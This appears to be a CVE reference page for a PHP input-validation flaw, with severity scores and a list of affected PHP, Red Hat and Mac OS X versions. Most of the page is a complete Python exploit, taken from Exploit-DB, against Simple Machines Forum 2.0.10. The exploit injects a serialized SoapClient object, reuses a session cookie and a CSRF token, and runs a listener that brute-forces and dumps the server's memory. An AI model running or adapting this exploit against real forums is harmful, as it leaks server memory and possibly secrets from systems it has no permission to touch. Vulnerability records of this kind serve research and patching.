Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-20 |
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
5 |
|
AV:N/AC:L/Au:N/C:P/I:N/A:N |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 38304
Publication date : 2015-09-23 22h00 +00:00
Author : Filippo Roncari
EDB Verified : No
#!/usr/bin/python
# -*- coding: iso-8859-15 -*-
#############################################################################
# Title: SMF (Simple Machine Forum) <= 2.0.10 Remote Memory Exfiltration Exploit
# Authors: Andrea Palazzo
# <andrea [dot] palazzo [at] truel [dot] it>
# Filippo Roncari
# <filippo [dot] roncari [at] truel [dot] it>
# Truel Lab ~ http://lab.truel.it
# Requirements: SMF <= 2.0.10
# PHP <= 5.6.11 / 5.5.27 / 5.4.43
# Advisories: TL-2015-PHP04 http://lab.truel.it/d/advisories/TL-2015-PHP04.txt
# TL-2015-PHP06 http://lab.truel.it/d/advisories/TL-2015-PHP06.txt
# TL-2015-SMF01 n/y/a
# Details: http://lab.truel.it/2015/09/php-object-injection-the-dirty-way/
# Demo: https://www.youtube.com/watch?v=dNRXTt7XQxs
############################################################################
import sys, requests, time, os, socket, thread, base64, string, urllib
from multiprocessing import Process
#Payload Config
bytes_num = 000 #num of bytes to dump
address = 000 #starting memory address
#Target Config
cookie = {'PHPSESSID' : '000'} #SMF session cookie
target_host = 'http://localhost/smf/index.php' #URL of target installation index.php
csrftoken = ''
#Local Server Config
host = "localhost"
port = 31337
#Memory dump variables
dumped = ''
current_dump = ''
in_string = False
brute_index = 0
brute_list = list(string.ascii_letters + string.digits)
r_ok = 'HTTP/1.0 200 OK' + '\n'
r_re = 'HTTP/1.0 302 OK' + '\n'
r_body = '''Server: Truel-Server
Content-Type: text/xml
Connection: keep-alive
Content-Length: 395
<env:Envelope xmlns:env="http://www.w3.org/2003/05/soap-envelope">
<env:Header>
<n:alertcontrol xmlns:n="http://example.org/alertcontrol">
<n:priority>1</n:priority>
<n:expires>2001-06-22T14:00:00-05:00</n:expires>
</n:alertcontrol>
</env:Header>
<env:Body>
<m:alert xmlns:m="http://example.org/alert">
<m:msg>Truel</m:msg>
</m:alert>
</env:Body>
</env:Envelope>'''
def serverStart():
print "[+] Setting up local server on port " + str(port)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
if not sock:
print "[X] Fatal Error: Unable to create socket"
sock.bind((host, port))
sock.listen(1)
return sock
def getToken():
global csrftoken
print "[+] Trying to get a valid CSRF token"
for n in range(3): #3 attempts
r = requests.get(target_host, cookies=cookie, allow_redirects=False)
r = r.text
if(r.find("action=logout;")!=-1):
break
start = r.find("action=logout;")
if (start !=-1):
end = (r[start+14:]).find('">')
csrftoken = r[start+14 : start+end+14]
print "[+] Authentication done. Got token " + str(csrftoken)
return True
else:
print "[X] Fatal Error: You are not authenticated. Check the provided PHPSESSID."
return False
def prepareForExploit():
if not(getToken()): #get CSRF token
os._exit(1)
target = target_host + '?action=suggest&' + csrftoken + '&search_param=test'
r = requests.get(target, cookies=cookie, allow_redirects=False) #necessary request
return
def forgePayload(current_try, address):
location = "http://" + current_try
payload = 'O:12:"DateInterval":1:{s:14:"special_amount";O:9:"Exception":1:{s:19:"\x00Exception\x00previous";O:10:"SoapClient":5:{s:3:"uri";s:1:"a";s:8:"location";s:' + str(len(location)) + ':"' + location + '";s:8:"_cookies";a:1:{s:5:"owned";a:3:{i:0;s:1:"a";i:2;i:' + str(address) + ';i:1;i:' + str(address) + ';}}s:11:"_proxy_host";s:' + str(len(host)) + ':"' + str(host) + '";s:11:"_proxy_port";i:' + str(port) + ';}}}'
return payload
def sendPayload(payload,null):
target = target_host + '?action=suggest&' + csrftoken + '&search_param=' + (base64.b64encode(payload)) #where injection happens
try:
r = requests.get(target, cookies=cookie, allow_redirects=False)
except requests.exceptions.RequestException:
print "[X] Fatal Error: Unable to reach the remote host (Connection Refuse)"
os._exit(1)
return
def limitReached(dumped):
if(len(dumped) >= bytes_num):
return True
else:
return False
def printDumped(dumped):
d = " "
cnt = 1
print "[+] " + str(len(dumped)) + " bytes dumped from " + target_host
print "[+] ======================= Dumped Data ======================="
for i in range(bytes_num):
d = d + str(dumped[i])
if (cnt % 48 == 0):
print d
d = " "
if (cnt == bytes_num):
print d
cnt = cnt + 1
def getSoapRequest(sock):
connection, sender = sock.accept()
request = connection.recv(8192)
return (connection, request)
def sendSoapResponse(connection, content):
connection.send(content)
connection.close()
return
def getDumpedFromHost(request):
i = request.find("Host: ") + 6
v = request[i:i+1]
return v
def pushDumped(value, string):
global dumped
global current_dump
global brute_index
global address
global in_string
dumped = str(value) + str(dumped)
if(string):
current_dump = str(value) + str(current_dump)
else:
current_dump = ""
in_string = string
address = address-1
brute_index = 0
print "[" + hex(address) + "] " + str(value)
return
def bruteViaResponse(sock):
global brute_index
current_try = ""
response_ok = r_ok + r_body
for n in range(19):
connection, request = getSoapRequest(sock)
if not request:
connection.close()
return False
if request.find("owned")!=-1:
pushDumped(getDumpedFromHost(request), True)
sendSoapResponse(connection,response_ok)
return True
else:
if((brute_index+1) == len(brute_list)):
sendSoapResponse(connection,response_ok)
return False
brute_index = brute_index + 1
if not in_string:
current_try = brute_list[brute_index]
else:
current_try = brute_list[brute_index] + str(current_dump)
response_re = r_re + 'Location: http://' + str(current_try) + '\n' + r_body
sendSoapResponse(connection,response_re)
connection, request = getSoapRequest(sock)
if request.find("owned")!=-1:
pushDumped(getDumpedFromHost(request), True)
sendSoapResponse(connection,response_ok)
return True
sendSoapResponse(connection,response_ok)
return False
def bruteViaRequest(sock):
global brute_index
brute_index = 0
current_try = ""
while(True):
if(brute_index == len(brute_list)):
pushDumped(".", False)
if limitReached(dumped):
printDumped(dumped)
return
if not in_string:
current_try = brute_list[brute_index]
else:
current_try = brute_list[brute_index] + str(current_dump)
payload = forgePayload(current_try,address)
thread.start_new_thread(sendPayload,(payload,""))
if not bruteViaResponse(sock):
brute_index = brute_index + 1
return
def runExploit():
print "[+] Starting exploit"
sock = serverStart()
prepareForExploit()
print "[+] Trying to dump " + str(bytes_num) + " bytes from " + str(target_host)
bruteViaRequest(sock)
sock.close()
print "[+] Bye ~ Truel Lab (http://lab.truel.it)"
sys.exit(0)
runExploit()
Products Mentioned
Configuraton 0
Apple>>Mac_os_x >> Version To (including) 10.10.4
Configuraton 0
Redhat>>Enterprise_linux_desktop >> Version 7.0
Redhat>>Enterprise_linux_hpc_node >> Version 7.0
Redhat>>Enterprise_linux_hpc_node_eus >> Version 7.1
Redhat>>Enterprise_linux_server >> Version 7.0
Redhat>>Enterprise_linux_server_eus >> Version 7.1
Redhat>>Enterprise_linux_workstation >> Version 7.0
Configuraton 0
Php>>Php >> Version To (including) 5.4.38
Php>>Php >> Version 5.5.0
Php>>Php >> Version 5.5.0
Php>>Php >> Version 5.5.0
Php>>Php >> Version 5.5.0
Php>>Php >> Version 5.5.0
Php>>Php >> Version 5.5.0
Php>>Php >> Version 5.5.0
Php>>Php >> Version 5.5.0
Php>>Php >> Version 5.5.0
Php>>Php >> Version 5.5.0
Php>>Php >> Version 5.5.0
Php>>Php >> Version 5.5.0
Php>>Php >> Version 5.5.0
Php>>Php >> Version 5.5.1
Php>>Php >> Version 5.5.2
Php>>Php >> Version 5.5.3
Php>>Php >> Version 5.5.4
Php>>Php >> Version 5.5.5
Php>>Php >> Version 5.5.6
Php>>Php >> Version 5.5.7
Php>>Php >> Version 5.5.8
Php>>Php >> Version 5.5.9
Php>>Php >> Version 5.5.10
Php>>Php >> Version 5.5.11
Php>>Php >> Version 5.5.12
Php>>Php >> Version 5.5.13
Php>>Php >> Version 5.5.14
Php>>Php >> Version 5.5.18
Php>>Php >> Version 5.5.19
Php>>Php >> Version 5.5.20
Php>>Php >> Version 5.5.21
Php>>Php >> Version 5.5.22
Php>>Php >> Version 5.6.0
Php>>Php >> Version 5.6.0
Php>>Php >> Version 5.6.0
Php>>Php >> Version 5.6.0
Php>>Php >> Version 5.6.0
Php>>Php >> Version 5.6.0
Php>>Php >> Version 5.6.0
Php>>Php >> Version 5.6.0
Php>>Php >> Version 5.6.0
Php>>Php >> Version 5.6.2
Php>>Php >> Version 5.6.3
Php>>Php >> Version 5.6.4
Php>>Php >> Version 5.6.5
Php>>Php >> Version 5.6.6
References